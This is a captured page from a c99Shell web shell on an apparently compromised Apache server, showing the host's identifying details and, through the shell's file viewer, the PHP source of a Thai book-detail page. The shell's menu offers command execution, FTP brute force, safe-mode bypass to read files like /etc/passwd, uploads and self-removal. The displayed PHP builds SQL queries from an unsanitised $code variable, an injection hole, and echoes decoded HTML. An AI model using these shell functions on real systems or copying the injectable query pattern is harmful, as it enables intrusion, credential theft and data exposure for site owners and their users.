!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/director/ebook/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BookDetail.php (5.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../include/FunctionDB.php");
include(
"../../include/Function.php");

ConnectDB();

$sql " SELECT *  FROM bookmant_tb  WHERE code='$code' ";
$result mysql_query($sql) or die(" Error").mysql_error();
$rs mysql_fetch_array($result);

?>

<html>
<head>
<title>ข้อมูลหนังสือ</title>
<link href="../../css/default.css" rel="stylesheet" type="text/css" />
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
</head>

<body>
<table width="472" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td width="472"><fieldset>
        <div align="center">
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1">
      <tr bgcolor="#6699CC">
                <td height="26" colspan="3" align="center" bgcolor="#F0F0F0" class="NOTE">แสดงรายละเอียด</td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">ชนิดของหนังสือ</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php echo "$rs[Book_code]"?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">เลขททะเบียนรับ</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php echo "$rs[No]"?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td width="160" height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">วันที่</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php 
                    $sday 
$rs['Date_buy'];
                    
$yearthai explode("-",$sday);
                    
$day intval($yearthai[2]);
                    
$month intval($yearthai[1]);
                    
$year intval($yearthai[0]);     
                        echo 
"$day"."/"."$month"."/"."$year";
                
?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">เลขที่หนังสือ</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td nowrap bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php echo"$rs[No_in]"?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">เรื่อง</td>
                <td width="10"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td width="287" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10" ><?php echo htmlspecialchars_decode$rs['Status'] ); ?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">ชื่อผู้รับ - ส่งหนังสือ</td>
                <td width="10"  bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td width="287"  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php
                    $Teacher_code 
$rs["Teacher_code"];
                    
$sql " SELECT *  FROM personal_tb  WHERE Teacher_code='$Teacher_code' ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rss mysql_fetch_array($result1);
                        echo 
"$rss[Teacher_name] $rss[Teacher_lastname]";
                
?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bgcolor="#FFFFFF" >ภาค / ฝ่าย</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php
                    $Faculty_code 
$rs["Faculty_code"];
                    
$sql " SELECT *  FROM faculty_tb  WHERE Faculty_code='$Faculty_code' ";
                    
$result1 mysql_query($sql) or die("Error".mysql_error());
                    
$rss mysql_fetch_array($result1);
                        echo 
"$rss[Faculty_name] ";
                
?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20" bgcolor="#FFFFFF" >ต้องการแจ้งบุคลากรทุกๆ คน</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php echo $rs['Statistic']; ?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="20"  bordercolor="#D8D2A9" bgcolor="#FFFFFF">จากหน่วยงาน</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF">&nbsp;</td>
                <td  bordercolor="#DDF8D1" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php echo $rs['Store_1']; ?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="29" nowrap bordercolor="#D8D2A9" bgcolor="#FFFFFF">หมายเหตุ</td>
                <td bgcolor="#FFFFFF" >&nbsp;</td>
                <td bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10" ><?php echo htmlspecialchars_decode($rs['Description']); ?></td>
          </tr>
              <tr bgcolor="#EEEEEE">
                <td height="10" colspan="3" bgcolor="#FFFFFF"></td>
              </tr>
            </table>
      </div>
      </fieldset>
      <span style="TEXT-ALIGN: center">      </span>
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td align="center"><input type="button" name="Submit" value="ปิดหน้าต่าง" onClick="javascript:parent.close();" /></td>
        </tr>
      </table>
      </td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--